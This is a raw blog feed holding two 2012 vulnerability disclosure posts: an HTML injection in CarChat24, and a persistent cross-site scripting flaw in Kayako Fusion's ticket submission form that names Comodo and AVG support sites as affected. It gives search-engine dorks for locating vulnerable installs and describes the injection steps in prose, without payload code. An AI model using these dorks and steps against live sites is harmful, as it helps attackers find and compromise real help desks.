src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ8bH-S5ZNFNUTxvHQxka4qlJtOB8UzoGcziKycLMeO4gxOdFajiBubx2k2J9rFfYr9cGZ6dxaGlJgi84AvqbL6iTYjZeBk09L2HfdHiBTiyoS2pzV9Pc9xT8XCii1HSrMG1qV5-Tk0h5E/s400/javabb.JPG" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-32031871424097903262012-03-17T20:28:00.002-10:002012-03-17T20:31:10.143-10:00CarChat24 HTML Injection# Exploit Title: CarChat24 HTML Injection<br /> # Date: 18.03.2012<br /> # Author: Sony<br /> # Software Link: http://www.carchat24.com/<br /> # Web Browser : Mozilla Firefox<br /> # Site : http://insecurity.ro<br /> # PoC:<br /> http://st2tea.blogspot.com/2012/03/carchat24-html-injection.html<br /> ..................................................................<br /> <br /> We can see a simple html code injection in carchat24.<br /> <br /> Click on windows and put our html code. Not a critical bug,but it's a bug.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhel0RLUyM-JGuC862_xeSyQNBSu5X_58Nt3jwR3MmF4TvOixoifH1X1kW_EJmHja8i2mlkPq9R9yWTtDPAsGij1D3yOYh18vjbg6TdNR1JB5VOOH4enFjHThQ7VqyOkkQCnXnjxil4lvgR/s1600/car24.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhel0RLUyM-JGuC862_xeSyQNBSu5X_58Nt3jwR3MmF4TvOixoifH1X1kW_EJmHja8i2mlkPq9R9yWTtDPAsGij1D3yOYh18vjbg6TdNR1JB5VOOH4enFjHThQ7VqyOkkQCnXnjxil4lvgR/s400/car24.JPG" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-9706765556716576052012-03-16T20:36:00.011-10:002012-03-19T20:11:21.956-10:00Comodo.com and Agv.sg Cross Site Scripting<b>Important:<br /> <br /> A similar bug was found in Kayako Support Suite by Positive Technologies:<br /> <br /> http://packetstormsecurity.org/files/108595/Kayako-Support-Suite-3.70.02-stable-Cross-Site-Scripting.html<br /> </b><br /> <b><br /> Today (20.03.2012) I received a email from Kayako and they reported that bug has been fixed. You can read about it here:<br /> <br /> http://wiki.kayako.com/display/DOCS/4.40.985</b><br /> <br /> <b># Exploit Title: Kayako Fusion Cross Site Scripting <br /> # Date: 17.03.2012<br /> # Author: Sony</b><br /> <b># Software Link:</b> http://www.kayako.com/<br /> <b># Version: all version</b><br /> <b># Google Dorks: inurl:Base/UserRegistration/ or intitle:Powered by Kayako Fusion Help Desk Software<br /> # Web Browser : Mozilla Firefox</b><br /> <b># Site :</b> http://insecurity.ro<br /> <b># PoC:</b><br /> http://st2tea.blogspot.com/2012/03/kayako-fusion-cross-site-scripting.html<br /> <b>..................................................................</b><br /> <b><br /> Well, we have a cross site scripting in Kayako Fusion.<br /> <br /> Our xss in /Tickets/Submit.<br /> <br /> Put our code in the all fields and press button Submit.<br /> <br /> Click on View Tickets and open our ticket. We can see a Persistent XSS. </b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw04r86TVRtApCVf6J-q-XB7scjvHhyphenhyphen80XgLswtxC0zmobxdA5BrEy7FG9KA3oKP0_3GuFmbIEn7j4Vpo9tvTud2HA6_78vNhK8bORcFJfuvVUzxkucXio9_AaHP1Yt1ivme_Ga9QALLip/s1600/yeah.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw04r86TVRtApCVf6J-q-XB7scjvHhyphenhyphen80XgLswtxC0zmobxdA5BrEy7FG9KA3oKP0_3GuFmbIEn7j4Vpo9tvTud2HA6_78vNhK8bORcFJfuvVUzxkucXio9_AaHP1Yt1ivme_Ga9QALLip/s400/yeah.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh77D_BU6dXzcRxWOf4EoxNXmbq4AdIiaLNQHLk2r-zdy5Q5z3d4bzOPpBg9lJicIcU7Bz5Mengv8pTwX0huGRXPzdwsksuTJ4n421ZWr6jcZCwkgmiYO3Oj9mK4TsTAp_Hd3SkvDaZZRdl/s1600/yeah2.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh77D_BU6dXzcRxWOf4EoxNXmbq4AdIiaLNQHLk2r-zdy5Q5z3d4bzOPpBg9lJicIcU7Bz5Mengv8pTwX0huGRXPzdwsksuTJ4n421ZWr6jcZCwkgmiYO3Oj9mK4TsTAp_Hd3SkvDaZZRdl/s400/yeah2.JPG" /></a></div><b><br /> A lot of web sites use Kayako Fusion.<br /> <br /> We can see Comodo</b><br /> (SupportSuite v3.70.02)<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV4DHMP-vbT8K9DS4iLm40W8s9mRpCa3_MWZFHhs1giH0fz7PcvFuX1Du-PJHsSzfrID0jd9j8wjpoXkChw45aeTwHOW0N07RaqEHniCwZq3j4pKN11Q62vfvLAQElfq174qwttuHVo7rw/s1600/comodo.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV4DHMP-vbT8K9DS4iLm40W8s9mRpCa3_MWZFHhs1giH0fz7PcvFuX1Du-PJHsSzfrID0jd9j8wjpoXkChw45aeTwHOW0N07RaqEHniCwZq3j4pKN11Q62vfvLAQElfq174qwttuHVo7rw/s400/comodo.JPG" /></a></div><br /> <b>Avg</b><br /> (fusion)<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtup3yRtG42tbTCcuXWMJZZ7KQG4q72YL6aFe4w8Y1BICXDOUFFudYw8lH9bTnjaqzucgNgCuw5QESJeeImkNZX2sQMKvVanVkvzkcqEsUqnBPn2XmoCtgrLJ8Ipi6HlnN8IXYqznwUtmm/s1600/avg.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtup3yRtG42tbTCcuXWMJZZ7KQG4q72YL6aFe4w8Y1BICXDOUFFudYw8lH9bTnjaqzucgNgCuw5QESJeeImkNZX2sQMKvVanVkvzkcqEsUqnBPn2XmoCtgrLJ8Ipi6HlnN8IXYqznwUtmm/s400/avg.JPG" /></a></div><br /> <b>etc..</b><br /> <br /> Russian Google Dorks:<br /> <br /> intitle:основано на kayako fusion help deskSonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0